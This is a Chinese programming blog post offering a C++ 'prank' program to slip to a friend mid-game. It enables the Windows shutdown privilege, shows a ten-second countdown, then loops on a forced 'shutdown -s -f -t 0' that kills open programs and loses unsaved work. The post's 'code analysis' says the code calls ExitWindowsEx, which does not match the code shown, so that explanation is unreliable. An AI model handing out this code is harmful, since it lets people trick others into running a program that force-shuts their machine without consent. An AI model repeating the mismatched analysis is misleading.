C/C++ 关机整人代码


目录

📒温馨提示

📒示例代码

📒代码分析


🚀欢迎互三👉:程序猿方梓燚 💎💎

🚀关注博主,后期持续更新系列文章

🚀如果有错误感谢请大家批评指出,及时修改

🚀感谢大家点赞👍收藏⭐评论✍ 

📒温馨提示

当你的好友打游戏正上头时,让他运行如下代码,电脑突然强制关机

ta当时的心情一定先

然后

接着

 再……犹如拨云见日,茅塞顿开般看着你

 最后

所以当整了ta之后应立即

📒示例代码

#include<stdio.h>
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;

// 主函数
int main() {
	HANDLE hToken; // 定义进程令牌句柄
	TOKEN_PRIVILEGES tkp; // 定义令牌特权结构体

	OSVERSIONINFO osvi; // 定义操作系统版本信息结构体
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // 设置版本信息结构体的大小

	// 获取操作系统版本信息,如果获取失败则返回 0
	if (GetVersionEx(&osvi) == 0) return 0;

	// 如果操作系统平台为 Windows NT
	if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) {
		// 尝试打开当前进程的令牌,如果失败则返回 0
		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
			return 0;

		// 查找关机特权的值
		LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

		tkp.PrivilegeCount = 1; // 设置特权数量为 1
		tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权

		// 调整令牌特权
		AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL);
	}

	// 执行关机操作
	for (int i = 10; i >= 0 ; i -= 1) {
		Sleep(1000);
		system("cls");
		cout << "您的电脑还有" << i << "秒即将关机" << endl;
		while (i == 0) {
			system("shutdown -s -f -t 0");
		}
	}
}

📒代码分析

以下是对这段代码的分析:

  • 包含了必要的头文件 <stdio.h> 用于标准输入输出,<windows.h> 用于 Windows 编程相关的功能。
  • 在 main 函数中,首先定义了一些变量和结构体来处理进程令牌和权限相关的操作。
    • HANDLE hToken; 用于存储进程令牌的句柄。
    • TOKEN_PRIVILEGES tkp; 用于设置权限。
    • OSVERSIONINFO osvi; 用于获取操作系统版本信息。
  • 通过 GetVersionEx 函数获取操作系统版本信息,并检查是否为 Windows NT 平台。
  • 如果是 Windows NT 平台,尝试打开当前进程的令牌,并查找关机权限的值。
  • 设置权限相关的属性,然后使用 AdjustTokenPrivileges 函数调整令牌权限。
  • 最后,使用 ExitWindowsEx 函数执行关机操作,指定关机类型为 EWX_SHUTDOWN ,并提供了一个主要的关机原因。
  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值